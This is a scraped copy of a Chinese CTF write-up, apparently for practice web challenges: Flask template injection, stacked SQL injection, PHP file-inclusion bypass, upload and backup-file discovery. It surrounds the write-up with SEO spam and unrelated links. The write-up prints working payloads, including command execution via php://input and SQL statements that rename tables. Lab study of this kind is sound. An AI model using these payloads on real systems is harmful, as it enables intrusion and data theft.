当前位置: 首页 > news >正文

纯静态单页网站/网店代运营公司哪家好

纯静态单页网站,网店代运营公司哪家好,那一个网站可以教做甜品的,网站添加关键字攻防世界 web篇(三)cookieweb2shrinesupersqli使用预编译**绕过修改原参数查询Web_php_includeupload1backupcookie X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’ 打开抓包&#xf…

攻防世界 web篇(三)

  • cookie
  • web2
  • shrine
  • supersqli
    • 使用预编译**绕过
    • 修改原参数查询
  • Web_php_include
  • upload1
  • backup

cookie

X老师告诉小宁他在cookie里放了些东西,小宁疑惑地想:‘这是夹心饼干的意思吗?’

打开抓包,发现有个cookie.php

在这里插入图片描述

http://61.147.171.105:53978/cookie.php 查看响应头

在这里插入图片描述
在这里插入图片描述

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";function encode($str){//这里是加密函数$_o=strrev($str);  //这里对字符串进行倒置// echo $_o;for($_0=0;$_0<strlen($_o);$_0++) {      $_c=substr($_o,$_0,1);  //从$_0中一个一个将字符取出$__=ord($_c)+1;   //字符ASCLL码值+1$_c=chr($__);      //ASCLL码值变回字符$_=$_.$_c;        //拼接每一个字符} return str_rot13(strrev(base64_encode($_)));//将字符串先base64加密 ,再倒置,再进行ROT13编码
}highlight_file(__FILE__);
/*逆向加密算法,解密$miwen就是flag
*/
?>

解题代码思路

先base64解密 base64_decode()
使用 strrev()倒置字符串
再进行ROT13编码 刚好26个字母进行两次刚好完成解密
之后就是将字符的ASCLL码值-1
字符串再进行倒置
同样我们也使用php,使用echo将解密结果输出
可以使用本地环境或者在线环境

<?php
$secret="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$secret=base64_decode(strrev(str_rot13($secret)));$m=$secret;for($i=0;$i<strlen($secret);$i++){$_c=substr($m,$i,1);$__=ord($_c)-1;    $__=chr($__);     $_=$_.$__; }echo strrev($_);?>

https://c.runoob.com/compile/1/
在这里插入图片描述

shrine

在这里插入图片描述

import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

flask 在 /shrine/ 下的 SSTI,对 payload 进行了过滤,对小括号进行了替换,将 ( 和 ) 替换为空字符串,将 config 和 self 添加进了黑名单

/shrine/{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

在这里插入图片描述

supersqli

使用预编译**绕过

';sEt @sql = CONCAT('se','lect * from `1919810931114514`;');prEpare stmt from @sql;EXECUTE stmt;#

在这里插入图片描述

flag{c168d583ed0d4d7196967b28cbd0b5e9}

修改原参数查询

在这里插入图片描述

http://61.147.171.105:51964/?inject=1';show databases;--+

在这里插入图片描述
查表

http://61.147.171.105:51964/?inject=1';show tables;--+

在这里插入图片描述

分别查询两个表的字段:
(字符串为表名进行操作时要加反引号); show columns from `1919810931114514` ;--+
; show columns from `words` ;--+

在这里插入图片描述

1' or 1=1 #
http://61.147.171.105:51964/?inject=1'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50); 

在这里插入图片描述

Web_php_include

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {$page=str_replace("php://", "", $page);
}
include($page);
?>

使用php://input 伪协议

http://61.147.171.105:50320/?page=Php://input

<?php system('ls'); ?> #列出所有文件

在这里插入图片描述

<?php system('cat fl4gisisish3r3.php'); ?> #查看文件

在这里插入图片描述

upload1

在这里插入图片描述

在这里插入图片描述

更改文件名称
在这里插入图片描述

backup

题目描述:
X老师忘记删除备份文件,他派小宁同学去把备份文件找出来,一起来帮小宁同学吧!

在这里插入图片描述

常见的备份文件后缀名:“.bak”
“.git”
“.svn”
“.swp”
“.~”
“.bash_history”
“.bkf”
http://61.147.171.105:59660/index.php.bak

在这里插入图片描述

http://www.lbrq.cn/news/1328725.html

相关文章:

  • 企业网站设计合同/湖北搜索引擎优化
  • 中关村在线网站的建设/青岛网站排名公司
  • wordpress列表插件/虞城seo代理地址
  • 网站开发工程师岗位说明书/站长工具排名分析
  • 北京高端网站建设公司/百度广告屏蔽
  • 网站建设检查/百度服务商平台
  • 北京最新新闻事件/北京网站seo优化推广
  • 日本 网站 设计 模仿欧美/营销软件app
  • 泰安网站的建设/网站链接分析工具
  • 网站建设的几种结构/高质量外链代发
  • 万江网站建设/直播营销策略有哪些
  • 自己做ppt网站吗/云南网络推广服务
  • vps wordpress忘记密码/东莞百度快速优化排名
  • wordpress网站不显示菜单/长尾关键词排名系统
  • 贵州做网站怎么推广/传播易广告投放平台
  • 棉桃剥壳机做网站/完善的seo网站
  • 旅游景区网站建设/营销型网站有哪些功能
  • 做网站上传那个目录/投稿平台
  • 网站开发的前台开发工具/抖音优化是什么意思
  • 重庆南坪网站建设咨询400/百度手机助手下载安卓
  • 天津做网站建设的公司/seo优化网站查询
  • 可做产品预售的网站/营销型企业网站诊断
  • 做行业网站投入/北京网站建设公司
  • 设计一个官方网站推广广告/武汉百度推广代运营
  • 国网典型设计最新版/seo顾问服务四川
  • wordpress 做网站/天津关键词排名推广
  • 网站建设都包括哪些方面/如何进行搜索引擎营销
  • 做网站编辑/ios aso优化工具
  • 建设行业个人云网站/seo外包服务公司
  • 鞍山做网站排名/青岛百度seo代理
  • 今日矩阵系列
  • 数据库中使用SQL作分组处理01(简单分组)
  • Syzkaller实战教程2:运行环境配置+实例运行
  • 借助 Wisdom SSH 的 AI 助手构建 Linux 开发环境
  • 【华为机试】20. 有效的括号
  • PyCharm插件开发与定制指南:打造个性化开发环境